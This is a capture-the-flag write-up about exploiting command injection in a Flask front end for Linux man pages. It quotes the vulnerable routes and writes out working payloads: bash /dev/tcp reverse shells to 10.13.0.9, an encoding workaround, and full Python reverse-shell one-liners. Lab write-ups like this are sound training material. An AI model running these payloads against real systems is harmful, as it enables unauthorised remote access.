Challenge - Man Commands, Server Lost
Elf4711 has written a cool front end for the linux man pages. Soon after publishing he got pwned. In the meantime he found out the reason and improved his code. So now he is sure it’s unpwnable.
RESOURCESsection on top
Hints: Don’t miss the source code link on the man page
For this challenge we got the source code of the website to help us find and exploit any vulnerabilities. The first route already promised to be a good entry point as the parameter is taken as-is, conveniently placed in a rather simple command and executed. No validation whatsoever 🙂
@app.route('/section/') @app.route('/section/<nr>') def section(nr="1"): ret = os.popen('apropos -s ' + nr + " .").read() return render_template('section.html', commands=parseCommands(ret), nr=nr)
The second route seemed tedious. Our payload would be deeply embedded in other commands with a lot of stuff around it. Only the invocation of sh -c seemed interesting. Not enough that we’d attempt to exploit it.
@app.route('/man/') @app.route('/man/<section>/<command>') def manpage(section=1, command="bash"): manFile = "/usr/share/man/man" + str(section) + "/" + command + "." + str(section) + ".gz" cmd = 'cat ' + manFile + '| gunzip | groff -mandoc -Thtml' try: result = subprocess.run(['sh', '-c', cmd ], stdout=subprocess.PIPE) except subprocess.CalledProcessError as grepexc: return render_template('manpage.html', command=command, manpage="NOT FOUND") html = result.stdout.decode("utf-8") htmlLinked = re.sub(r'(<b>|<i>)?([a-zA-Z0-9-_.]+)(</b>|</i>)?\(([1-8])\)', r'<a href="/man/\4/\2">\1\2\3</a><a href="/section/\4">(\4)</a>', html) htmlStripped = htmlLinked[htmlLinked.find('<body>') + 6:htmlLinked.find('</body>')] return render_template('manpage.html', command=command, manpage=htmlStripped)
The third route seemed nice in that it’s via HTTP POST and would not require URL encoding. The comment in it was a bit of a dare as well, so we chose to try route #1 and this one.
@app.route('/search/', methods=["POST"]) def search(search="bash"): search = request.form.get('search') # FIXED Elf4711: Cleaned search string, so no RCE is possible anymore searchClean = re.sub(r"[;& ()$|]", "", search) ret = os.popen('apropos "' + searchClean + '"').read() return render_template('result.html', commands=parseCommands(ret), search=search)
We got results for route #1 (
/section/<nr>) pretty fast and so abandoned route #3 after a while. Our proof-of-concept payload
$(sh -c "sleep 5") had an effect and delayed the response of the server. Then we wanted to deploy a reverse shell, just as the VPN connection in the challenge description suggested. (For the uninitiated: the vulnerable machines are in a private network, so only attendees have access. If VPN is required, it’s because during the attack you’ll talk to the machine on another port, outside the forwarded range.)
Starting netcat on the server did not work. Either was there no netcat, or it had crippled server support. So we tried to bind bash to a TCP socket. This is depicted in the following listing. We only had to work around the fact that we couldn’t send forward slashes “/” in the URL, but had to encode them. Twice actually, once for URL and once for the shell. This is what line #2 and #3 are showing
$(bash -i >& /dev/tcp/10.13.0.9/5432 0>&1) $(bash -i >& $(echo -e "\x2fdev\x2ftcp\x2f10.13.0.9\x2f5432") 0>&1) $(bash%20-i%20%3E&%20$(echo%20-e%20%22%5cx2fdev%5cx2ftcp%5cx2f10.13.0.9%5cx2f5432%22)%200%3E&1)
It didn’t work however. We tried multiple variants, but to no avail. Also our base64 encoded payload that worked fine locally, didn’t work.
$($(echo <base64_payload_here> | base64 -d))
At last we used python as we heard many others had success with it. AND IT STILL DID NOT WORK.
$(python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.0.9",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')
The hint that helped us to finally get the flag was to use
python3 instead of
python. (Seriously python folks, WTF? Let python 2.X die already and stop this double tracked bullshit. It should have never started this way. And python3 on a machine, but no python? Call it python or at least symlink it and let 2.X maintainers care...)
So to finally get the reverse shell we had to send the following as parameter to
$(python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.0.9",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')
Once we had the reverse shell we quickly found the flag in the machines root directory: